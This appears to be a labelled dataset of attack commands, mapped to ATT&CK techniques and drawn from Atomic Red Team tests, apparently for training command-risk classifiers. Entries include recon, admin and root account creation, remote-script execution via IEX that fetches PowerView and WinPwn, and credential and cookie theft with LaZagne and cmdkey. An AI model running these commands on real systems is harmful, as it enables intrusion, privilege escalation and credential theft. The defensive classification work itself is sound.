cowWhySo/permission-command-corpus huggingface dataset:
Command: $localip = ((ipconfig | findstr [0-9].\.)[0]).Split()[-1] $pieces = $localip.split(".") $firstOctet = $pieces[0] $secondOctet = $pieces[1] $thirdOctet = $pieces[2] foreach ($ip in 1..255 | % { "$firstOctet.$secondOctet.$thirdOctet.$_" } ) {cmd.exe /c nslookup $ip}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1018
Platform: windows
ATT&CK tags: T1018
Source rule: Remote System Discovery - nslookup
Notes: Powershell script that runs nslookup on cmd.exe against the local /24 network of the first network adaptor listed in ipconfig.

Upon successful execution, powershell will identify the ip range (via ipconfig) and perform a for loop and execute nslookup against that IP range. Output will be via stdout.
Command: "#{venv_path}\Scripts\adidnsdump" -u #{user_name} -p #{acct_pass} --print-zones #{host_name}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1018
Platform: windows
ATT&CK tags: T1018
Source rule: Remote System Discovery - adidnsdump
Notes: This tool enables enumeration and exporting of all DNS records in the zone for recon purposes of internal networks
Python 3 and adidnsdump must be installed, use the get_prereq_command's to meet the prerequisites for this test.
Successful execution of this test will list dns zones in the terminal.
Command: "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=computer) #{optional_args}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1018
Platform: windows
ATT&CK tags: T1018
Source rule: Adfind - Enumerate Active Directory Computer Objects
Notes: Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Computer Objects
reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html
Command: "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -sc dclist
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1018
Platform: windows
ATT&CK tags: T1018
Source rule: Adfind - Enumerate Active Directory Domain Controller Objects
Notes: Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Domain Controller Objects
reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html
Command: ip neighbour show
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1018
Platform: linux
ATT&CK tags: T1018
Source rule: Remote System Discovery - ip neighbour
Notes: Use the ip neighbour command to display the known link layer (ARP table) addresses for hosts sharing the same network segment.
Command: ip route show
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1018
Platform: linux
ATT&CK tags: T1018
Source rule: Remote System Discovery - ip route
Notes: Use the ip route command to display the kernels routing tables.
Command: netstat -r | grep default
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1018
Platform: linux
ATT&CK tags: T1018
Source rule: Remote System Discovery - netstat
Notes: Use the netstat command to display the kernels routing tables.
Command: ip tcp_metrics show |grep --invert-match "^127\."
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1018
Platform: linux
ATT&CK tags: T1018
Source rule: Remote System Discovery - ip tcp_metrics
Notes: Use the ip tcp_metrics command to display the recent cached entries for IPv4 and IPv6 source and destination addresses.
Command: $DirectorySearcher = New-Object System.DirectoryServices.DirectorySearcher("(ObjectCategory=Computer)") $DirectorySearcher.PropertiesToLoad.Add("Name") $Computers = $DirectorySearcher.findall() foreach ($Computer in $Computers) { $Computer = $Computer.Properties.name if (!$Computer) { Continue } Write-Host $Computer}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1018
Platform: windows
ATT&CK tags: T1018
Source rule: Enumerate domain computers within Active Directory using DirectorySearcher
Notes: This test is a Powershell script that enumerates Active Directory to determine computers that are joined to the domain. 
This test is designed to mimic how SessionGopher can determine the additional systems within a domain, which has been used before by threat actors to aid in lateral movement. 
Reference: [Head Fake: Tackling Disruptive Ransomware Attacks](https://www.mandiant.com/resources/head-fake-tackling-disruptive-ransomware-attacks). 
Upon successful execution, this test will output the
Command: Get-AdComputer -Filter *
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1018
Platform: windows
ATT&CK tags: T1018
Source rule: Enumerate Active Directory Computers with Get-AdComputer
Notes: The following Atomic test will utilize Get-AdComputer to enumerate Computers within Active Directory.
Upon successful execution a listing of Computers will output with their paths in AD.
Reference: https://github.com/MicrosoftDocs/windows-powershell-docs/blob/main/docset/winserver2022-ps/activedirectory/Get-ADComputer.md
Command: ([adsisearcher]"objectcategory=computer").FindAll(); ([adsisearcher]"objectcategory=computer").FindOne()
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1018
Platform: windows
ATT&CK tags: T1018
Source rule: Enumerate Active Directory Computers with ADSISearcher
Notes: The following Atomic test will utilize ADSISearcher to enumerate computers within Active Directory.
Upon successful execution a listing of computers will output with their paths in AD.
Reference: https://devblogs.microsoft.com/scripting/use-the-powershell-adsisearcher-type-accelerator-to-search-active-directory/
Command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainController -verbose
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1018
Platform: windows
ATT&CK tags: T1018
Source rule: Get-DomainController with PowerView
Notes: Utilizing PowerView, run Get-DomainController to identify the Domain Controller. Upon execution, information about the domain controller within the domain will be displayed.
Command: try { get-wmiobject -class ds_computer -namespace root\directory\ldap -ErrorAction Stop } catch { $_; exit $_.Exception.HResult }
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1018
Platform: windows
ATT&CK tags: T1018
Source rule: Get-WmiObject to Enumerate Domain Controllers
Notes: The following Atomic test will utilize get-wmiobject to enumerate Active Directory for Domain Controllers.
Upon successful execution a listing of Systems from AD will output with their paths.
Reference: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-wmiobject?view=powershell-5.1
Command: net group /domain "Domain controllers"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1018
Platform: windows
ATT&CK tags: T1018
Source rule: Remote System Discovery - net group Domain Controller
Notes: Identify remote systems with net.exe querying the Active Directory Domain Controller.
Upon successful execution, cmd.exe will execute cmd.exe against Active Directory to list the "Domain Controller" in the domain. Output will be via stdout.
Command: cmd /c '#{netscan_path}' /hide /auto:"$env:temp\T1018NetscanOutput.txt" /range:'#{range_to_scan}'
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1018
Platform: windows
ATT&CK tags: T1018
Source rule: Enumerate Remote Hosts with Netscan
Notes: This test uses Netscan to identify remote hosts in a specified network range.
Command: remove-item "$env:temp\T1018NetscanOutput.txt" -force -erroraction silentlycontinue
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1018
Platform: windows
ATT&CK tags: T1018
Source rule: Enumerate Remote Hosts with Netscan
Notes: This test uses Netscan to identify remote hosts in a specified network range.
Command: cmdkey /list
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.005
Platform: windows
ATT&CK tags: T1003.005
Source rule: Cached Credential Dump via Cmdkey
Notes: List credentials currently stored on the host via the built-in Windows utility cmdkey.exe
Credentials listed with Cmdkey only pertain to the current user
Passwords will not be displayed once they are stored
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmdkey
https://www.peew.pw/blog/2017/11/26/exploring-cmdkey-an-edge-case-for-privilege-escalation
Command: Start-Process -FilePath "#{autohotkey_path}" -ArgumentList "#{script_path}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.010
Platform: windows
ATT&CK tags: T1059.010
Source rule: AutoHotKey script execution
Notes: An adversary may attempt to execute malicious script using AutoHotKey software instead of regular terminal like powershell or cmd. A messagebox will be displayed and calculator will popup when the script is executed successfully
Command: net user art-test /add net user art-test #{password} net localgroup administrators art-test /add
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1078.003
Platform: windows
ATT&CK tags: T1078.003
Source rule: Create local account with admin privileges
Notes: After execution the new account will be active and added to the Administrators group
Command: net localgroup administrators art-test /delete >nul 2>&1 net user art-test /delete >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1078.003
Platform: windows
ATT&CK tags: T1078.003
Source rule: Create local account with admin privileges
Notes: After execution the new account will be active and added to the Administrators group
Command: dscl . -create /Users/AtomicUser dscl . -create /Users/AtomicUser UserShell /bin/bash dscl . -create /Users/AtomicUser RealName "Atomic User" dscl . -create /Users/AtomicUser UniqueID 503 dscl . -create /Users/AtomicUser PrimaryGroupID 503 dscl . -create /Users/AtomicUser NFSHomeDirectory /Local/Users/AtomicUser dscl . -passwd /Users/AtomicUser mySecretPassword dscl . -append /Groups/admin GroupMembership AtomicUser
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1078.003
Platform: macos
ATT&CK tags: T1078.003
Source rule: Create local account with admin privileges - MacOS
Notes: After execution the new account will be active and added to the Administrators group
Command: sudo dscl . -delete /Users/AtomicUser
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1078.003
Platform: macos
ATT&CK tags: T1078.003
Source rule: Create local account with admin privileges - MacOS
Notes: After execution the new account will be active and added to the Administrators group
Command: sysadminctl interactive -addUser art-tester -fullName ARTUser -password !pass123! -admin
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1078.003
Platform: macos
ATT&CK tags: T1078.003
Source rule: Create local account with admin privileges using sysadminctl utility - MacOS
Notes: After execution the new account will be active and added to the Administrators group
Command: sysadminctl interactive -deleteUser art-tester
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1078.003
Platform: macos
ATT&CK tags: T1078.003
Source rule: Create local account with admin privileges using sysadminctl utility - MacOS
Notes: After execution the new account will be active and added to the Administrators group
Command: dsenableroot #current user dsenableroot -u art-tester -p art-tester -r art-root #new user
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1078.003
Platform: macos
ATT&CK tags: T1078.003
Source rule: Enable root account using dsenableroot utility - MacOS
Notes: After execution the current/new user will have root access
Command: dsenableroot -d #current user dsenableroot -d -u art-tester -p art-tester #new user
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1078.003
Platform: macos
ATT&CK tags: T1078.003
Source rule: Enable root account using dsenableroot utility - MacOS
Notes: After execution the current/new user will have root access
Command: dseditgroup -o edit -a art-user -t user admin
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1078.003
Platform: macos
ATT&CK tags: T1078.003
Source rule: Add a new/existing user to the admin group using dseditgroup utility - macOS
Notes: After execution the current/new user will be added to the Admin group
Command: dseditgroup -o edit -d art-user -t user admin
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1078.003
Platform: macos
ATT&CK tags: T1078.003
Source rule: Add a new/existing user to the admin group using dseditgroup utility - macOS
Notes: After execution the current/new user will be added to the Admin group
Command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') obfuskittiedump -consoleoutput -noninteractive
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1078.003
Platform: windows
ATT&CK tags: T1078.003
Source rule: WinPwn - Loot local Credentials - powerhell kittie
Notes: Loot local Credentials - powerhell kittie technique via function of WinPwn
Command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') safedump -consoleoutput -noninteractive
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1078.003
Platform: windows
ATT&CK tags: T1078.003
Source rule: WinPwn - Loot local Credentials - Safetykatz
Notes: Loot local Credentials - Safetykatz technique via function of WinPwn
Command: password=$(openssl passwd -1 art) ([ "$(uname)" = 'Linux' ] && useradd --shell /bin/bash --create-home --password $password art) || (pw useradd art -g wheel -s /bin/sh && (echo $password | pw mod user testuser1 -h 0)) su art -c "whoami; exit"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1078.003
Platform: linux
ATT&CK tags: T1078.003
Source rule: Create local account (Linux)
Notes: An adversary may wish to create an account with admin privileges to work with. In this test we create a "art" user with the password art, switch to art, execute whoami, exit and delete the art user.
Command: [ "$(uname)" = 'Linux' ] && userdel art -rf || rmuser -y art
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1078.003
Platform: linux
ATT&CK tags: T1078.003
Source rule: Create local account (Linux)
Notes: An adversary may wish to create an account with admin privileges to work with. In this test we create a "art" user with the password art, switch to art, execute whoami, exit and delete the art user.
Command: useradd --shell /bin/bash --create-home --password $(openssl passwd -1 art) art usermod --lock art usermod --expiredate "1" art usermod --unlock art usermod --expiredate "99999" art su -c whoami art
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1078.003
Platform: linux
ATT&CK tags: T1078.003
Source rule: Reactivate a locked/expired account (Linux)
Notes: A system administrator may have locked and expired a user account rather than deleting it. "the user is coming back, at some stage" An adversary may reactivate a inactive account in an attempt to appear legitimate. 

In this test we create a "art" user with the password art, lock and expire the account, try to su to art and fail, unlock and renew the account, su successfully, then delete the account.
Command: userdel -r art
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1078.003
Platform: linux
ATT&CK tags: T1078.003
Source rule: Reactivate a locked/expired account (Linux)
Notes: A system administrator may have locked and expired a user account rather than deleting it. "the user is coming back, at some stage" An adversary may reactivate a inactive account in an attempt to appear legitimate. 

In this test we create a "art" user with the password art, lock and expire the account, try to su to art and fail, unlock and renew the account, su successfully, then delete the account.
Command: pw useradd art -g wheel -s /bin/sh echo $(openssl passwd -1 art) | pw mod user testuser1 -h 0 pw lock art pw usermod art -e +1d pw unlock art pw user mod art -e +99d su art whoami exit
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1078.003
Platform: linux
ATT&CK tags: T1078.003
Source rule: Reactivate a locked/expired account (FreeBSD)
Notes: A system administrator may have locked and expired a user account rather than deleting it. "the user is coming back, at some stage" An adversary may reactivate a inactive account in an attempt to appear legitimate. 

In this test we create a "art" user with the password art, lock and expire the account, try to su to art and fail, unlock and renew the account, su successfully, then delete the account.
Command: rmuser -y art
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1078.003
Platform: linux
ATT&CK tags: T1078.003
Source rule: Reactivate a locked/expired account (FreeBSD)
Notes: A system administrator may have locked and expired a user account rather than deleting it. "the user is coming back, at some stage" An adversary may reactivate a inactive account in an attempt to appear legitimate. 

In this test we create a "art" user with the password art, lock and expire the account, try to su to art and fail, unlock and renew the account, su successfully, then delete the account.
Command: cat /etc/passwd |grep nobody chsh --shell /bin/bash nobody usermod --password $(openssl passwd -1 nobody) nobody su -c "whoami" nobody
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1078.003
Platform: linux
ATT&CK tags: T1078.003
Source rule: Login as nobody (Linux)
Notes: An adversary may try to re-purpose a system account to appear legitimate. In this test change the login shell of the nobody account, change its password to nobody, su to nobody, exit, then reset nobody's shell to /usr/sbin/nologin. Here is how the nobody entry should look like in `/etc/passwd` before the test is executed and right after the cleanup: `# -> nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin`
Command: chsh --shell /usr/sbin/nologin nobody cat /etc/passwd |grep nobody # -> nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1078.003
Platform: linux
ATT&CK tags: T1078.003
Source rule: Login as nobody (Linux)
Notes: An adversary may try to re-purpose a system account to appear legitimate. In this test change the login shell of the nobody account, change its password to nobody, su to nobody, exit, then reset nobody's shell to /usr/sbin/nologin. Here is how the nobody entry should look like in `/etc/passwd` before the test is executed and right after the cleanup: `# -> nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin`
Command: cat /etc/passwd |grep nobody pw usermod nobody -s /bin/sh echo $(openssl passwd -1 art) | pw mod user nobody -h 0 su nobody whoami exit
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1078.003
Platform: linux
ATT&CK tags: T1078.003
Source rule: Login as nobody (freebsd)
Notes: An adversary may try to re-purpose a system account to appear legitimate. In this test change the login shell of the nobody account, change its password to nobody, su to nobody, exit, then reset nobody's shell to /usr/sbin/nologin. Here is how the nobody entry should look like in `/etc/passwd` before the test is executed and right after the cleanup: `# -> nobody:x:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin`
Command: pw usermod nobody -s /usr/sbin/nologin cat /etc/passwd |grep nobody # -> nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1078.003
Platform: linux
ATT&CK tags: T1078.003
Source rule: Login as nobody (freebsd)
Notes: An adversary may try to re-purpose a system account to appear legitimate. In this test change the login shell of the nobody account, change its password to nobody, su to nobody, exit, then reset nobody's shell to /usr/sbin/nologin. Here is how the nobody entry should look like in `/etc/passwd` before the test is executed and right after the cleanup: `# -> nobody:x:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin`
Command: "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" -accepteula -s %COMSPEC% /c whoami
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1078.003
Platform: windows
ATT&CK tags: T1078.003
Source rule: Use PsExec to elevate to NT Authority\SYSTEM account
Notes: PsExec is a powerful tool most known for its remote management capability. However, it can also be used to run processes as the local system account.

The local system account is a default windows account which has unrestricted access to all system resources.

Upon successful execution, PsExec.exe will spawn a command prompt which will run 'whoami' as the local system account and then exit.
Command: Start-Process "#{file_path}\Sysinternals\accesschk.exe" -ArgumentList "-accepteula ."
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1555.003
Platform: windows
ATT&CK tags: T1555.003
Source rule: Run Chrome-password Collector
Notes: A modified sysinternals suite will be downloaded and staged. The Chrome-password collector, renamed accesschk.exe, will then be executed from #{file_path}.

Successful execution will produce stdout message stating "Copying db ... passwordsDB DB Opened. statement prepare DB connection closed properly". Upon completion, final output will be a file modification of PathToAtomicsFolder\..\ExternalPayloads\sysinternals\passwordsdb.

Adapted from [MITRE ATTACK Evals](https://github.com/mitre-attack/att
Command: Remove-Item "#{file_path}\Sysinternals" -Force -Recurse -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1555.003
Platform: windows
ATT&CK tags: T1555.003
Source rule: Run Chrome-password Collector
Notes: A modified sysinternals suite will be downloaded and staged. The Chrome-password collector, renamed accesschk.exe, will then be executed from #{file_path}.

Successful execution will produce stdout message stating "Copying db ... passwordsDB DB Opened. statement prepare DB connection closed properly". Upon completion, final output will be a file modification of PathToAtomicsFolder\..\ExternalPayloads\sysinternals\passwordsdb.

Adapted from [MITRE ATTACK Evals](https://github.com/mitre-attack/att
Command: cd ~/Library/Cookies grep -q "#{search_string}" "Cookies.binarycookies"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1555.003
Platform: macos
ATT&CK tags: T1555.003
Source rule: Search macOS Safari Cookies
Notes: This test uses `grep` to search a macOS Safari binaryCookies file for specified values. This was used by CookieMiner malware.

Upon successful execution, MacOS shell will cd to `~/Libraries/Cookies` and grep for `Cookies.binarycookies`.
Command: "#{lazagne_path}" browsers
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1555.003
Platform: windows
ATT&CK tags: T1555.003
Source rule: LaZagne - Credentials from Browser
Notes: The following Atomic test utilizes [LaZagne](https://github.com/AlessandroZ/LaZagne) to extract passwords from browsers on the Windows operating system.
LaZagne is an open source application used to retrieve passwords stored on a local computer.